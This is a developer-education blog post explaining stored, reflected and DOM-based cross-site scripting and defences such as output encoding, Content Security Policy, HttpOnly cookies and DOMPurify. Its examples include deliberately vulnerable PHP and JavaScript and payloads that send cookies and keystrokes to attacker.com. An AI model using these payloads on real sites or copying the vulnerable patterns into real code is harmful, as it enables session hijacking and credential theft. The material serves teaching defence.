Educational developer tools & learning resources for software development & cybersecurity students — Learn more about our mission

Understanding Cross-Site Scripting (XSS): How It Works and How to Prevent It in Your Web Apps

Author Skand K. — Developer & Security Researcher Apr 06, 2026 9 min read 11 views
Understanding Cross-Site Scripting (XSS): How It Works and How to Prevent It in Your Web Apps

Educational Content: This article is written for educational purposes to help developers and cybersecurity students understand software concepts. Always follow ethical guidelines and applicable laws.

If you've spent any time reading about web security, you've seen XSS mentioned. You've probably also seen the classic demo — a developer injects <script>alert('XSS')</script> into a form field and a popup appears. It looks almost harmless. A little box on the screen. What's the big deal?

The big deal is that the alert is just a proof of concept. In a real attack, that script doesn't show a popup — it silently reads the victim's session cookie and sends it to an attacker's server. The attacker pastes that cookie into their browser and they're now logged in as the victim. No password needed. No brute force. Just JavaScript running where it shouldn't be.

This post explains how XSS actually works, the three main types, and the concrete steps to prevent it — both in PHP on the server and in JavaScript on the frontend.

What XSS Actually Is

Cross-Site Scripting (XSS) happens when an attacker manages to inject malicious JavaScript into a web page that other users then view. The browser sees the script, assumes it's legitimate page content, and executes it with full access to everything JavaScript can touch — cookies, localStorage, the DOM, form contents, and the ability to make requests on the user's behalf.

The "Cross-Site" part refers to the fact that the malicious script originates from the attacker but executes in the context of your website — giving it access to your site's cookies and bypassing the Same-Origin Policy that normally keeps scripts from different origins isolated.

There are three distinct types, and they work quite differently from each other.

Type 1: Stored XSS

Stored XSS is the most dangerous variant. The attacker submits malicious JavaScript through a form — a comment, a username, a profile bio, a support ticket — and your application stores it in the database. Every time another user views the page that displays that data, their browser executes the script.

A simple example: a comment section that stores and displays user input without sanitization.

// User submits this as their comment:
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

// Your PHP stores it directly:
$comment = $_POST['comment'];
$db->prepare("INSERT INTO comments (text) VALUES (?)")->execute([$comment]);

// And displays it directly:
echo $comment; // Every visitor's browser executes the script

Every person who views that comment page — potentially thousands of users — has their session cookie silently sent to the attacker. The original user who submitted the comment doesn't even need to be online anymore. The payload sits in your database, waiting.

This is how forum accounts, social media profiles, and customer support portals get mass-compromised. One injection point, one stored payload, unlimited victims.

Type 2: Reflected XSS

Reflected XSS doesn't persist in the database. Instead, the malicious script is embedded in a URL, and the server reflects it back in the response. The attack requires the victim to click a crafted link.

// Vulnerable search page
$search = $_GET['q'];
echo "Search results for: " . $search;

// Attacker crafts this URL:
// https://yoursite.com/search?q=<script>fetch('https://attacker.com/?c='+document.cookie)</script>

// Victim clicks the link, server reflects the script, browser executes it

The attacker sends this URL via phishing email, a fake short link, a message on social media. The victim clicks it, lands on your legitimate site, and the script executes in the context of your domain — with access to your site's cookies and localStorage.

Reflected XSS is often underestimated because it requires user interaction. In practice, phishing links are clicked constantly, and a targeted attack against a specific user — an admin, a customer with a high account balance — can be highly effective.

Type 3: DOM-Based XSS

DOM-based XSS is entirely client-side. The server sends a perfectly safe response, but JavaScript on the page reads data from an attacker-controlled source — the URL hash, a query parameter, postMessage — and writes it directly into the DOM without sanitization.

// Vulnerable client-side code
const name = location.hash.substring(1); // reads from URL fragment
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

// Attacker's URL:
// https://yoursite.com/welcome#<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>

The server never sees the payload — the URL fragment isn't sent to the server in HTTP requests. Traditional server-side output encoding doesn't help here. The vulnerability lives entirely in JavaScript that trusts data it shouldn't trust.

DOM XSS has become more prevalent as applications moved toward single-page architectures where JavaScript handles routing, rendering, and data display. More JavaScript doing more things with URL data means more opportunities to write attacker-controlled input into the DOM.

What Attackers Actually Do With XSS

Beyond session cookie theft, which is the classic use, real XSS attacks do things like:

Account takeover without cookies — Modern applications use HttpOnly cookies that JavaScript can't read. Attackers work around this by using XSS to make authenticated requests directly — changing the victim's email address or password through the app's own API, then taking over the account through the normal password reset flow.

Keylogging — A stored XSS payload can attach an event listener to every input field on the page and silently transmit everything the victim types — passwords, credit card numbers, messages.

// XSS payload that logs keystrokes
document.addEventListener('keypress', function(e) {
    fetch('https://attacker.com/log?k=' + e.key);
});

Phishing overlays — The script injects a fake login modal over the real page, captures the credentials the victim enters, then logs them in normally so they don't notice anything happened.

Cryptocurrency mining — Stored XSS in a high-traffic page can silently run a crypto miner in every visitor's browser tab, using their CPU for the attacker's benefit.

Prevention: Server-Side Output Encoding

The fundamental fix for stored and reflected XSS is straightforward: never insert untrusted data into HTML output without encoding it first. Encoding converts characters like <, >, ", and & into their HTML entity equivalents, which the browser displays as text rather than interpreting as markup.

In PHP, htmlspecialchars() is your primary tool:

<?php
// Always use this when outputting user data into HTML
$safe_output = htmlspecialchars($user_input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
echo $safe_output;

// Examples:
// Input:  <script>alert('xss')</script>
// Output: &lt;script&gt;alert('xss')&lt;/script&gt;
// Browser displays it as text, never executes it

The ENT_QUOTES flag ensures both single and double quotes get encoded — important when user data appears inside HTML attributes. The charset parameter should always be specified explicitly.

Different contexts require different encoding. Data inserted into a JavaScript string needs JavaScript encoding, not HTML encoding. Data inserted into a URL needs URL encoding. Using the wrong encoding for the context can leave you vulnerable even if you're encoding something.

<?php
// Data in HTML context
echo htmlspecialchars($name, ENT_QUOTES, 'UTF-8');

// Data in URL context  
echo urlencode($redirect_path);

// Data in JavaScript context — use json_encode
echo '<script>var username = ' . json_encode($username) . ';</script>';

Prevention: Content Security Policy

Content Security Policy (CSP) is an HTTP header that tells browsers which sources of scripts, styles, and other resources are trusted. Even if an attacker manages to inject a script, CSP can prevent it from executing or from making external requests.

A basic CSP header in PHP:

<?php
header("Content-Security-Policy: " . implode('; ', [
    "default-src 'self'",
    "script-src 'self'",
    "style-src 'self' 'unsafe-inline'",
    "img-src 'self' data: https://images.unsplash.com",
    "connect-src 'self'",
    "font-src 'self'",
    "object-src 'none'",
    "base-uri 'self'",
    "form-action 'self'"
]));

With script-src 'self', the browser only executes scripts loaded from your own domain. An injected inline <script> tag gets blocked because it doesn't come from an approved source.

CSP is not a replacement for output encoding — a well-configured CSP is a second layer of defense that limits the damage if encoding fails somewhere. Some applications are complex enough that a strict CSP is difficult to implement without breaking functionality, but even a partial CSP is better than none.

Prevention: HttpOnly and Secure Cookie Flags

The most common XSS goal is session cookie theft. You can make that goal significantly harder by setting the HttpOnly flag on session cookies — this prevents JavaScript from reading the cookie at all.

<?php
// Secure cookie configuration
session_set_cookie_params([
    'lifetime' => 0,
    'path' => '/',
    'domain' => 'jshook.online',
    'secure' => true,      // HTTPS only
    'httponly' => true,    // JavaScript cannot read this cookie
    'samesite' => 'Strict' // Not sent in cross-site requests
]);
session_start();

HttpOnly doesn't prevent all XSS attacks — as mentioned earlier, attackers can make authenticated requests without reading the cookie directly. But it removes the simplest and most automated form of session hijacking.

Prevention: DOM XSS — Safe JavaScript Patterns

For DOM-based XSS, the fix is in your JavaScript. The core rule: never use innerHTML, document.write(), or eval() with data you don't fully control. Use safe alternatives instead.

// Dangerous - treats string as HTML
element.innerHTML = userInput;
document.write(userInput);

// Safe - treats string as plain text
element.textContent = userInput;  // displays as text, never parsed as HTML
element.innerText = userInput;

// When you need to insert HTML structure, build it safely
const div = document.createElement('div');
const text = document.createTextNode(userInput);
div.appendChild(text);
container.appendChild(div);

If you genuinely need to render user-provided HTML — for a rich text editor, for example — use a dedicated sanitization library like DOMPurify rather than trying to filter HTML yourself. Writing your own HTML sanitizer is extremely difficult to get right.

// Using DOMPurify for safe HTML rendering
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(userProvidedHTML);
element.innerHTML = clean; // safe

A Quick Self-Test Checklist

Go through your application and look for every place where user-controlled data touches the output. For each one, ask:

  • Is this data being inserted into HTML? → htmlspecialchars() with correct flags
  • Is this data being inserted into a JavaScript string? → json_encode()
  • Is this data being inserted into a URL? → urlencode()
  • Is this data being written to the DOM via JavaScript? → textContent not innerHTML
  • Is this data coming from location.hash, location.search, or postMessage? → Treat it as untrusted

Also check: are your session cookies HttpOnly and Secure? Do you have a Content Security Policy header? These two additions take about fifteen minutes to configure and significantly reduce the impact of any XSS that does get through.

Wrapping Up

XSS has been in the OWASP Top 10 for over fifteen years. It's not a new problem. And yet it keeps appearing in production applications because the fix — encoding output correctly in the right context — requires consistent discipline across every single place data touches HTML, not just the obvious ones.

The good news is that modern frameworks help significantly. React, Vue, and Angular encode output by default in most cases. If you're using a templating engine like Twig or Blade in PHP, they auto-escape by default too. The danger zone is raw PHP echoing database content directly, custom JavaScript manipulating the DOM, and any place where a developer consciously bypassed the framework's protections for a legitimate reason and forgot to sanitize manually.

Know where your data goes. Encode it for the context it's going into. Set your cookie flags. Add a CSP. That combination handles the vast majority of XSS scenarios you'll actually encounter.

— JSHook Team

Share this article

Skand K. — Developer & Security Researcher — Author
Written by

Skand K. — Developer & Security Researcher

Senior Developer & Security Educator

Full-stack software engineer with 5+ years of experience in web development, mobile application architecture, and cybersecurity education. Passionate about teaching developers secure coding practices through hands-on, real-world projects. Contributor to open-source tools and author of educational guides on Telegram bot development, PHP frameworks, and Android security.